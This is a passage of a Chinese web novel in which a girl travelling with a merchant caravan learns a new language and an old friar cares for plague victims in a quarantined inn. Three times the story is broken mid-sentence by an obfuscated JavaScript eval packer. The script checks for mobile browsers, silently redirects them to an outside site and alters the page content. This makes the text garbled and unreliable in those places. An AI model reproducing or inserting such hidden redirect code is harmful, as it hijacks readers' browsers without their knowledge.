“因为太麻烦了呀!”距离她最近的一名青年摊了下手,简明扼要道,“先不说修运河的钱要谁出,要是真修成了,这种会横跨好几个领地的河道要谁负责维护?就算可以几位领主约定每个人负责自己领地内的部分,要是有人不守约定导致运河堵塞,那其他人不就亏大了吗?” “还有收费站的定价和设立收费站的数目!” 其他人不嫌事大得笑起来,用罗兰语对周围的同伴道:「我敢打赌,那帮领主绝对会为这个吵起来!」 「主要还是要看谁出钱吧?这是通往吕得的路,肯定吕得周边最受益,要修也该王室出大头……」 「得了吧……现在王室都穷成什么样了,国王恨不得把我们的内裤扒走当了去打仗!还能有钱修运河?别是逼着商会出钱修,到时候被收过路费的还是我们,白给他们多弄一个收税的门路!」 「说到这个,你们知道今年开始菈匹都河上又增加了四个收费站吗?」 此话一出,原本坐姿懒散的闲汉们顿时哗然。 「去年不就新加了三个,怎么不到一年就又加了?!」 「等等,你们算算现在菈匹都河上一共有多少收费站?」 「到阿根堡是五个,到罗兰方特六个……这么算下来都快40个了!」 「那些帕鲁本人是不是疯了?怪不得福琼先生这两年都不怎么往那边走……」 这支商队里的也大多是罗兰人,有时候说着说着不但话题走偏,连语言都会变。 菲丽丝早就习惯了,且切换语言对现在的她来说不是问题,倒是常听这些走南闯北的商人聊天非常有助于她了解如今的世界。 她听得太认真,却没留意到坐在身边的老人也在注视着她。 “…………” “你想学罗兰语吗?” 身侧冷不防传来这么一个问句,原本专注听八卦的菲丽丝忍不住打了个激灵。 见她一脸慌张看过来,萨瓦托雷修士抬手拍了拍她的肩膀,安抚道:“别慌,孩子,这也是我思考不周……你马上就要开始在罗兰生活,我该早些教你些罗兰语的。” “哎,对啊!这孩子到现在都还不会罗兰语呢!这种小事不用劳烦修士……” 床铺挨着他们的青年听到后双眼顿时一亮,赶紧兴奋招呼起周围的同伴:「喂!这小孩还不会罗兰语!你们谁想过来当个陪练?」 走水路比走陆路清闲多了,货物都锁在专门的船舱内,只需要几人轮流看管,大部分人都很闲。 因此一听有人发话,一群闲汉立刻乌泱泱地围拢过来,像观赏什么稀奇物件一样打量起菲丽丝。 「我先来我先来!我还没给人当过老师呢!」 某个留着一脸络腮胡的男人凭借力气和一口大嗓门挤进前排,率先摆起架子:“来孩子,跟我念——「你好」。” 有人立刻推了他的肩膀:「这也太随便了,该教他说‘日安’!」 「你管我,你要教排后面去!」 络腮胡男人朝同伴说笑一句,转过头又板起脸,继续用自己那不算标准的意图恩诺语教学:“这是打招呼的话,‘你好’,你能明白吗?来跟我念,「你、好」——” 菲丽丝:………… 余光瞥了眼已经笑着在天上打滚的派勒乌索教授,菲丽丝忍着被当成小孩的羞耻感,按照男人的指示吐出了他教的单词。 「你好。」 「……啊!」 站在最前面的男人愣了下,突然一拍大腿,惊喜笑道:「这发音很标准啊!我都挑不出毛病!」 「就一个词能看出什么?」周围有人跟着起哄,“来来,孩子,我来教你一个句子,跟我念——「日安,先生,最近怎么样」?” 「哎呀,你怎么这么欺负人?人家刚会一个词,你跟他说这么多怎么记得住?」 「就让他试试嘛,我看这孩子挺聪明的……」那人笑着朝菲丽丝做出鼓励的手势,坚持道,“来,我再重复一遍,你能记住多少就说多少——「日、安,先、生,最、近、怎……」” 「日安,先生,最近怎么样?」 菲丽丝一口气重复完,立刻换上一副懵懂无知的表情:“请问……这句话是什么意思?” 她流利的发音显然出乎了所有人的预料,一秒的沉默后便是一连串的惊呼和赞叹。 人们一边感慨“年纪小就是学得快”,一边开始轮流对着她说起常用语,鼓励她跟着自己念。 菲丽丝:………… 她确实是想在学习语言上表现聪明点,之后也好解释她为什么能那么快学会另一种语言,不用天天装听不懂人说话……但这些人是不是有点兴奋过头了?她嗓子都要说哑了还不停,这到底有多无聊…… “还不是你一开始说得太顺了?” 天上的派勒乌索教授笑够了,终于说到重点:“我要有一只教一遍就能学会说话的鹦鹉,我能一连三天不干别的,专门陪它说话。” 菲丽丝:………… 最后,菲丽丝用一阵惊天动地的咳嗽唤醒了这帮无聊青年的良心,首次“罗兰语教学”总算结束了。 正巧此时也到了晚餐时间,船上没有餐厅,众人只能各自拿块面包坐在自己的床铺上吃。 菲丽丝从门口领到自己和萨瓦托雷修士的那份,踩着晃晃悠悠的地板回到两人所在的铺盖前。 “你学得很好,孩子,比我想象中的还要好……咳咳……” 萨瓦托雷修士接过她递来的面包,忍不住偏头咳嗽了两声。 “吾主保佑……”见他咳嗽了好几声都没停,菲丽丝赶紧上前扶住老人的手臂,“您还好吗?要不要喝点水?” “哎,不用……” 缓过来后,老修士笑着摇摇头,拍拍她的手安慰:“人老了就是毛病多,没事的……” 菲丽丝听着他明显有些沙哑的声音,还是不放心:“您最近总是在咳嗽,是不是生病了?” 最后几个词她说得格外模糊,但萨瓦托雷修士还是听清了,继续笑着摆摆手:“你还不明白,人老了时常咳嗽两声很正常。” “铁板放时间长了总会生锈,我们的身体也一样……这很正常,孩子,是每个人都会经历的过程,你不需要为我感到担忧……”见女孩紧张地看过来,他的声音放得更柔和,带着安抚摸了摸她的发顶,“放心,我既然答应了卡米罗和乔瓦尼大师,就一定会把你安全带到科冬。” “我不是——” 菲丽丝微张的唇抖了抖,最后还是紧紧抿到一起。 衰老会带来怎样的变化,她要比许多同龄人更早明白。 也许是几声不会让人在意的咳嗽,也许是没站稳踉跄了一下——在年轻人身上不算什么的小事,放在老人身上都是可能要命的征兆。 就像她的外祖母……嘴上总说人老了,腿上没劲很正常,她便信以为真……如果那时候她能发觉到不对,及时把人送到医院检查,也许那个慈爱的老人也不会那么早就离开…… “…………” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601698|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我只是希望您能更重视自己的身体,萨瓦托雷修士。” 她低头看着老人皱巴巴的手,低声说道:“您是个……好人。我希望您能活得好……” “可我已经活得很好了啊。” 老人依然笑着,将面包一分为二,将半块塞进菲丽丝的手里:“承蒙吾主的恩惠,我从来没缺少过良师益友,路过之处皆遇善良之人,让我过了几十年衣食无忧的生活,我还有什么不满足的呢?” 手指捏着硬邦邦的面包,视线扫过老修士上身那满是补丁的衣服,菲丽丝一时不知该说些什么。 萨瓦托雷修士是个见识多广的老者,她没能说出口的那些话,他难道会听不明白吗? 如果他真是个自私的人,就不会吃穿都简陋到如此地步,不会冒着生命危险照顾染上瘟疫的修士,更不会分文不取地步行数里、给一个将死的女人做告解,帮助一个毫不起眼的麻风病人…… 菲丽丝明白,正是因为他真真正正做了这些,她才会开始信任他。 可现在,在她受到了这份无私带来的好处后,却又想劝说他不要这么无私……听上去确实足够无耻,可她还是…… 仿若一块噎在喉咙的硬物,呕不出来也吞不下去,她只能保持沉默。 这种矛盾的心态持续到商队再次从水路转为陆路依然没有消退。 她只能庆幸,庆幸这一路都没再有人生病,希望老人的身体能快点好起来…… 可不等萨瓦托雷修士的咳症痊愈,随着一片乌云飘来,商队又一次因大雨不得不在某个村镇滞留下来。 与路过的很多村庄一样,这座小镇也受到了瘟疫的影响。 街上行人极少,偶尔能看到几具倒在路边的尸体,或者是有脸上长着黑疮的运尸人隔着门板与里面的人讨价还价。 但大部分人家都紧闭门窗,连旅馆的老板都在极力避免跟客人们接触,在交代完他们该把之后的租金放哪儿后就彻底消失了。 好在这次的大雨只下了两天,第三天的下午便停下了。 福琼先生松了口气,与众人约好明天一早就出发。 然而翌日清晨,一声尖叫将所有人唤醒。 菲丽丝从床上坐起身,隐隐听到楼上传出一阵慌乱的咒骂和哭嚎,一个相当不好的预感从心底升起。 她赶紧穿鞋下地,小跑着来到楼梯口。 「求求您,福琼先生……让我们出去……」 「那肿包只有加利尔身上有,只有他发烧了啊!您开门摸摸我的手……我真的没事……」 「都给我闭嘴!!」 福琼先生咬牙切齿的声音从楼上传来:「堵住门,一个都不许放出来……我们现在收拾东西——」 「……福琼你个吃屎的猪猡!我好心好意给你报信,你敢就这么走试试!」另一道声音突然激动起来,隔着门板骂道,「有本事你就把所有人都杀了!不然让我父亲知道你故意见死不救一定不会放过你!我向父神发誓,他会在你身上开一百个洞,把你的肠子拉出来喂狗!」 拍门声越来越激烈,可楼上除了叫骂和求饶声再没有其他声音了。 过了会儿,站在走廊的人才开始小声议论起来。 「不然就放冈瑟出来吧……他父亲要知道他死了我们会有大麻烦……」 「那怎么行?他说不定已经染上瘟疫了,放他出来我们都会有危险……」 「就是……现在吕得的情况还不知道是什么样,说不定他父亲也……」 “咳咳……” 身后传出的咳嗽声让菲丽丝猛地转身,下一秒,她便与那双始终充满慈爱的眼眸对上了。 “不……” 真正开口时,她才发现自己的声音居然在发抖:“您不要……” 树皮般枯瘦的手轻轻推开她伸出的手,老人向她露出一个无声的笑,继续扶着扶手走向楼上。 “看在吾主的份上,福琼先生,至少给我几天时间,让我来照顾他们……” 27.灰袍修士14 026 萨瓦托雷修士的出现让现场所有人都安静了一瞬,继而是一连串激动的欢呼。 「对对、我们还有萨瓦托雷修士!」 「有救了……冈瑟,奎西!你们都听到了吧?萨瓦托雷修士会来救你们的!」 围拢过来的人中,领队福琼先生无疑是最激动的。 菲丽丝跟上来时他已经满脸泪水地跪到地上,用那双形似香肠的手紧紧握住老修士的手。 “请您救救他们,救救加利尔,他是我最重要的表弟……如果不是要照顾整个队伍,我也不想抛弃他啊!” 听着他的哭喊,菲丽丝只觉得一股怒意从胸腔涌向头顶,在大脑做出判断前身体已经冲到了两人之间。 “他既然对你这么重要,为什么你不————唔!” 嘴被人从后捂住,菲丽丝本还想挣扎,却听到脑后传来一声叹息。 “别这样,好孩子……这是我该做的。” 他另一只手按在了女孩的肩膀上,明明看上去没有使力,却让挣扎的动作停止了。 “您不需要这样。照顾病患是我作为那图拉会修士该做的,没有您的请求我也会做……只是我已经答应过其他人,我必须把这孩子安全送到科冬的帕提恩提斯修道院。” 老修士从口袋里取出一封信,环视一圈,最后扶起跪在地上的福琼先生。 “我需要您向吾主起誓,不管我能不能从那扇门出来,您都要把这孩子和这封信交给科冬镇的伦杰院长。” “我、我保证!” 福琼先生双手接过信,郑重保证道:“我向父神、圣母和英灵发誓,只要我的队伍里还有一个人活着,就一定会把他送到科冬。” *** 直到房门在眼前关闭,菲丽丝感觉自己僵直的四肢和舌头终于能动了。 可她依然站在那里,紧紧盯着那扇门没有离开的意思。 “……跟我走吧,孩子。” 福琼先生走到她身边,微微俯身拍拍她的肩膀:“我答应了萨瓦托雷修士会照顾你就会做到……” 感受到肩膀处传来的力道,熟悉的焦躁涌上心头。 菲丽丝感觉自己又回到了起点,回到了与卡西莫道别的那个午后,乔瓦尼大师也说过类似的话。 自从来到这个糟糕的时代,她似乎就变得格外胆小。 有时她会觉得自己正站在独木桥上,两侧皆是万丈深渊,前方被浓郁的黑雾遮掩,后方又有狂风推搡。 她能做的,只有顺着风向,被迫拖起发抖的双腿一点点往前挪。 但这样不行。 身后的风已经越来越大,如果她不尽快走到桥的对岸,最终的结果也不过是被狂风推入深渊……那她这样每日战战兢兢、小心翼翼就都失去了意义。 菲丽丝深吸一口气,终于将视线移向站在身侧的男人。 “福琼先生,您确定身上出现瘟疫症状的只有这三个人吗?”她仰起头,尽量压低声音问道,“会不会有人也出现了症状,但因为症状较轻,又害怕被抛下而没有说出来?” “当然没有!我们好几个人一个屋,要是长了那东西或者发烧,其他人都会看出来!” 跟在福琼先生身后的青年听她这么说赶紧高声辩解了一句,又赶忙看向已经面露怀疑的领队:「这是真的,先生!您不信我们可以现在脱了衣服给您看,这种要命的事我们怎么会瞒报啊!」 “如果其他人都没有,那为什么偏偏是这间房里有人得了疫病?”菲丽丝继续问道,“这几天大家都住在这里没出门,旅店里除了我们没有再接待其他外面来的人,吃的东西都一样……那他们是怎么染上瘟疫的?” 被她的话指引着,福琼先生和其他人也从疫病的慌张中冷静下来,跟着面露疑惑。 然而其中有一人像是突然想起什么,脸色忽地变得很不好看,随后快速走到福琼先生身边耳语了两句。 「…………那个管不住下半身的蠢货!」 听完属下的汇报后,原本一直看上去很好说话的福琼先生突然暴怒,指着木门大骂道:「奎西·德阿图特!你最好祈祷就这么死在里面,否则我必要亲手阉了你这个杂种!」 此话一出,门内门外都知道怎么回事了。 门外还好,大家只能隔着门咒骂那个把疫病带进来的家伙,门内的另一个被牵连的、名叫“冈瑟”的大块头就没那么好说话了,没过多久里面就传来一阵殴打和求饶声。 “不要打了!这个疫病可能会通过血液传染!” 菲丽丝没想到事情会突然失控,赶紧在门边喊道:“你要是把他打出血,可能本来没事都要出事——” 没什么比死亡威胁更有威慑力,很快门内的殴打声就消失了,只剩下隐约的呻吟声。 “……你说的是真的?这病会通过血液传染?” 福琼先生双手将菲丽丝的肩膀掰过来,脸上难掩惊喜:“是萨瓦托雷修士发现的吗?” “嗯……”菲丽丝大脑飞速运转,面上犹豫着点头,“是之前在维利斯,萨瓦托雷修士和另一位照顾过很多病患的修士讨论时说过,那些肿包最开始也不算大,有点像被蚊子叮咬后留下的蚊子包,就是更大一些……除了那些会吸血的寄生虫,我想不到还有什么虫子会主动叮咬人。” 福琼先生若有所思地点点头:“所以,当时萨瓦托雷修士是怎么给那位修士治疗的?” 有他这一问,一切都好办了。 这一路下来,尽管没有跟本人面对面说过多少话,菲丽丝也从别人口中听到不少有关这位领队的信息。 福琼先生确实是个自私自利、趋炎附势且很会溜须拍马的商人,但他也有一个优点——那就是注重名声。 按照弗朗西斯科临走前为她提供的小道消息,福琼先生近些年为了能成为吕得三级会议的参会代表,不但经常给吕得城内的教堂捐钱,还公开在大街上给乞丐发放食物。 而不管是帮助一位灰袍修士救人,还是帮助一位灰袍修士完成心愿,都会是个很好的“演讲素材”…… 于是,扯着“萨瓦托雷修士”这面能引发“神迹”的大旗,菲丽丝不但让商队内的所有人都进行了一遍卫生清洁,最大限度消灭身上的寄生虫后尽量待在自己的房间不要外出。 然后她拿出了之前剩下的柳树皮,让人煮了送给发烧的那人喝下,并要求必须给被关在“隔离室”的四人定时准备食物和热水。 只是后者还可以用钱解决,要杜绝身上的寄生虫实在是件难办的事。 人能用洗澡洗头和换衣服暂时清除一部分的寄生虫,但大环境实在太肮脏,消灭了身上的跳蚤也会从别的地方跳过来…… 「其实我有段时间没在头发里捏死过虱子了。」菲丽丝听到有人这么跟身边人说道,「这次我都一个多月没洗澡了,也就最近几天捏死了两只还没来得及吸血的。」 「我也是!感觉是出了意图恩诺半岛之后头皮又开始有点痒……」 「估计是之前船上的,那些被褥脏的要命……」 菲丽丝顺了顺已经长长了点的头发,沉默走到一旁。 “……圣那图拉会向动物传教的传言,说不定真的。” 她捏住发尾,看向飘在半空的幽灵:“我之前就一直在怀疑……也许萨瓦托雷修士没有说谎,圣那图拉真的可以与动物沟通,因为他也有相同的能力。” 闻言,派勒乌索教授不由面露震惊:“这、这怎么可能?除了圣那图拉外我从没听说有这样的人啊!就算是圣那图拉,那什么向动物传教的说法也只是个传说……” “没听说不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608816|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等于没有。”菲丽丝指向自己,又指指对面的幽灵,“在遇到我之前,你见过能与幽灵说话的人吗?” 派勒乌索教授噎住一秒,随即又发出第二轮质疑:“那你有什么依据?就因为这些人身上的虱子少了,你觉得是他跟‘虫子兄弟’沟通的结果?可在那之前你就开始天天用篦子梳头了,我也没见你梳出一只虱子啊?” 菲丽丝再次沉默下来。 她对此也有个猜想,可那猜想实在不好印证,想要最准确的结果就只能打直球亲口去问…… 这次还来得及。 “隔离屋”中目前只有一个出现瘟疫症状的人,虽然其中一个人被揍了情况不明,但那个揍人的“冈瑟”菲丽丝还记得,正是之前在船上第一个争着教她罗兰语的络腮胡男人。 冈瑟现在还没有出现症状,也许是潜伏期不能放他出来,但他身体看上去确实不错,应该能给萨瓦托雷修士搭把手。 至于会不会有跳蚤带着病菌从门内出来,叮咬负责门外站岗的人……在经过一段激烈的思想斗争后,菲丽丝决定牺牲掉自己维持了一路的正常人形象,抱着慷慨就义的决心走向那两个守门人。 “我之前跟萨瓦托雷修士学过一点能阻止蚊虫靠近的祈祷词,你们愿意让我试试吗?” 两个守门人也是教过她罗兰语的“老师”,之前又亲耳听到这孩子是要送到修道院,说不定还是个小修士预备役。 因此,即使他们都觉得“能阻止蚊虫靠近”的祈祷词听上去很扯,还是爽快答应了。 然后,他们就看到那还不到他们胸口的小孩深吸一口气,突然愤怒地做出各种奇怪的手势,同时朝两人大吼了一连串听不懂的话。 守门人:………… 就算没听懂说了什么,人生经验也让他们觉得比起祈祷这更像是在骂人,而且好像还骂得格外脏…… “好了,这样应该就行了,希望能好用……” 不等两人反应过来,那小孩又变戏法般换上熟悉的笑脸,朝他们挥挥手:“如果你们要换班也请告诉我一声。不管有没有用,试试总是更保险。” “……你刚刚那真的是在祈祷?” 等菲丽丝下楼回到自己的房间后,派勒乌索教授终于按捺不住自己的好奇心,问出与楼上两个守门人相同的疑问:“你说的那是什么语言?我怎么一句都没听懂?” 他当然听不懂,这里没人听懂七百年后带着新大陆口音的现代马黎语。 至于内容……不过是些她在日常梳头时对可爱小昆虫产生的关切问候罢了,还是不要说出来污染老年幽灵的耳朵和心灵比较好。 “不算祈祷,但有用不就行了?” 她重重呼出一口,抬头看向天花板。 菲丽丝不信神。 过去她见过太多例子。神没有给公认的坏人带来惩罚,也没有让善良无辜的人得到任何好处。 就像那个曾经在深夜给她开门、给予她帮助的邻居。 那是一对虔诚的老夫妇,因为经常做义工、热心帮助周围所有人,所以即使天天把“吾主”挂在嘴边也没人会反驳或讨厌他们……可就是这样两个纯粹的好人,最后居然是因入室抢劫丢掉了性命,而犯人至今都没捉到…… 如果这个世界真有神明,祂怎么能眼睁睁看着这种事发生? 如果祂真的如此残忍,那用心侍奉这样的神明又有什么意义? 菲丽丝盯着天花板,突然发出一个短促的笑声。 “我从来不信这个世界有神,派勒乌索教授……神从来没帮过我,也没善待帮助过我的人。” 她看向面露诧异的幽灵,嘴角勾出一个自嘲的苦笑。 “但如果……如果萨瓦托雷修士真能平安从那扇门中出来,那我想,我也不是不能信一下他相信的神明……” 28.灰袍修士15 028 不知是哪一项措施起了作用,商队出现瘟疫的第一天,“隔离室”外的众人过得总体还算平静。 好消息是,大家在做清洁时顺便互相检查了,确定他们中并没有人身上有肿块或发烧。 “隔离室”中的情况则更复杂一点。 脾气暴躁的冈瑟得知正是同屋室友奎因把疫病带进来后便狠狠将其揍了一顿。虽然在菲丽丝的“死亡威胁”下暂时停止对其的殴打,但还是把人捆绑起来扔在角落,连送进来的水和食物都不给,明显打算把人活活饿死。 萨瓦托雷修士自然不能眼睁睁看着这种惨祸发生。 左劝右劝直到下午,总算成功让冈瑟同意给他点水喝。 可就在此时,他们发现被绑了半天的奎因也发烧了。 撩开衣服仔细检查,果然见到他的大腿根内侧起了一个明显的肿块。 「这个狗日的骗子!还骗我说他身上什么都没有,我差点信了他的鬼话!!」 「那么大一个肿块在大腿根,他不可能感觉不到……该死的阉猪!他可把我和加利尔害惨了!!」 听着门内的怒吼,被守门人叫来的福琼先生脸色越来越差,最后一脚踢上木门。 「够了!现在说这些有什么用?」他隔着门命令道,「现在你该知道我为什么要把你们都关起来了吧?好好听萨瓦托雷修士的话,现在只有他能救你们!」 门内的人大概是还想说什么,支支吾吾一阵后憋屈地答应了。 听到动静跑上楼的菲丽丝听他声音还算洪亮,想了想,还是隔着门再次说出几条建议。 “你和萨瓦托雷修士照顾他们的时候一定要注意,尽量不要靠近病人,尤其在他们打喷嚏的时候。就算必须靠近时也要用布巾捂住口鼻,注意房间通风,让干净的空气进来,不然吸入瘴气也容易生病,但也不要在天冷的时候开窗……” 简单将现代防疫经验和此时的医学理论结合了下,她顿了顿,又补充道:“还有,跳蚤容易藏在毛发里,你最好把胡子和头发剃了。” 福琼先生诧异看着她,赶紧追问道:“这也是萨瓦托雷修士总结的经验?” 一门之隔的冈瑟估计还在听,菲丽丝不好继续把这个推到老修士身上。 不过此时的她已经对这个世界有了基本的了解,再加上彻底放飞了心态,谎话几乎信手拈来,连眼都不眨一下。 “不,是我邻居家的卡特琳娜阿姨说的。她的丈夫服侍过一位波诺尼亚医学院的教授说过,病人周围会产生瘴气,尤其是在咳嗽的时候瘴气会从嘴里吐出,被正常人吞下后就会生病。” 福琼先生与手下面面相觑一阵,声音中依然带着怀疑:“这个说法还是第一次听说……你说的那位教授叫什么名字?” “阿方索!波诺尼亚的阿方索!”飘在天上的派勒乌索教授赶紧发出提示,“整个波诺尼亚医学院就数他名气大,而且他已经在两年前去世了!我听说他病逝前正在着手翻译一本来自坎斯汀波利斯的医典残卷,你就说是在那里发现的!” “是波诺尼亚的阿方索教授。” 菲丽丝镇定复述道:“据说这是在翻译一本医典残卷时发现的。” 在派勒乌索教授的帮助下,这句谎言变得更加真实,至少福琼先生和门那边的冈瑟是信了。 队伍里没有医生,他们也不敢出门去镇上寻找,即使冒险出去估计也找不到……那还不如相信一位名医留下的只言片语。 第一天就这么在兵荒马乱中过去。 等菲丽丝睡了一觉再醒来,派勒乌索教授已经率先带来“隔离屋”内的情报。 与第一天差不多,最先发烧的加利尔还在发烧,但因为有人照顾总算吃下了点饭,早上清醒了一段时间。 始作俑者奎因身上开始出现青黑色的斑点,下半夜开始意识不清说胡话,强壮的冈瑟和萨瓦托雷修士还没有表现出感染瘟疫的症状。 一切还算稳定,但菲丽丝也不敢疏忽。 她再次上楼,盯着人将今天的食水送进去前额外让他们多加了一包盐,又用与昨天相同的理由对着新换班的守门人来了一次“驱虫祷告”,最后在守门人怪异的目光下快步离开。 第二天很快过去,第三天还没等天亮,派勒乌索教授便带来了一个噩耗。 奎因死了。 没人知道他是什么时候断的气,也许是昨天傍晚,也许是半夜。 总之今早冈瑟醒来后发现他没有像昨天一样哼唧,觉得很不对劲,上前一探才发现人已经死了。 得知奎因这个始作俑者真的死了,许多人都咬牙骂着“死得好”和“报应”。 最先说要“阉了他”的福琼先生却一反常态地没有跟风叫骂,反而脸色愈加不好看。 死人自然不能继续留在室内,尤其“隔离屋”里还有三个活人,他们必须把尸体弄出去。 事已至此,他只能求助于旅店老板,将瞒了两天的消息和盘托出。 按照派勒乌索教授的转述,得知自己店里出了瘟疫病人,旅店老板气到差点想冲出来跟福琼先生交流一下拳脚。奈何人数差实在太大,他连把人赶走都做不到。 最后老板只能在福琼先生的威胁加金钱攻势下终于妥协,表示他们可以直接把尸体从窗户扔到街道上,之后他会找人去收尸。 随着一声闷响,一道黑影落到了地上。 听到声音的路人只往这边瞥了一眼,便拉着头巾匆匆小跑起来,很快就消失在某个拐角。 奎因的死让原本慢慢安稳下来的商队再次骚动起来。 尤其是这次死的是熟人——尽管大家嘴上骂着“活该”,却还是让一部分人感觉到死亡的阴影已经来到自己脚边。 当天半夜便有人试图逃跑,被同屋的同伴发现并捉住。 最后动静惊动了整个旅馆里的人,领队福琼先生不得不大半夜起床处理这场纠纷。 第四天,紧张的情绪继续在旅馆中蔓延。 第五天中午,楼上再次传来骚动声,但很快在福琼先生及其亲信的铁腕镇压下控制住了。 就在所有人都即将到达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你来了……正好,我也有些话,必须跟你说了……” 他朝女孩笑了笑,又将颤巍巍的手按到冈瑟的额头上。 「祝福你,我的孩子。」他说道,「感谢你的善良……但现在我有些话,需要单独说……」 似乎是感受到他话中的情绪,男人再也无法忍住,积攒在眼眶中的眼泪霎时落下。 「是……愿吾主保佑您……」 他紧紧握住修士的手,像对待圣人般亲吻他的手背,用两个枕头垫到他身后,确定他能坐稳才起身走出房间。 “…………” “我一直想跟你聊聊,孩子,可时机总是不对……” “我以为我还有时间,所以没有着急……但现在看来,吾主留给我的时间不多了……” 坐靠在床边的老人拍拍身边的位置,笑道:“首先,能告诉我你真正的名字吗?”